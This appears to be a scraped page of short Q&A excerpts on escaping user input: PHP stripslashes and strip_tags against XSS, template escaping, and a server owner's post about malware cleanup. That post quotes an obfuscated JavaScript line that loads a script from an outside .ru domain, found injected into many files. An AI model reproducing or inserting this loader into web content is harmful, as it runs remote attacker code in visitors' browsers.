Escaping data - stripslashes, strip_tags
Why do a lot of people use both these functions on a string? I see a lot of stripslashes(strip_tags($field)); (or the other way around) Isn't strip_tags enough to filter any xss stuff and such things? ...
Why do a lot of people use both these functions on a string? I see a lot of stripslashes(strip_tags($field)); (or the other way around) Isn't strip_tags enough to filter any xss stuff and such things? ...
If I have a box where people put comments, and then I display that comment like this...should I escape? {{ c.title }} ...
Hi there, Recently my linux server got infected with malware and as a result, I have 100+ files infected with a single line of Javascript code: document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>'); I would be too tiring to remove it manually, so I dig into google (not knowin...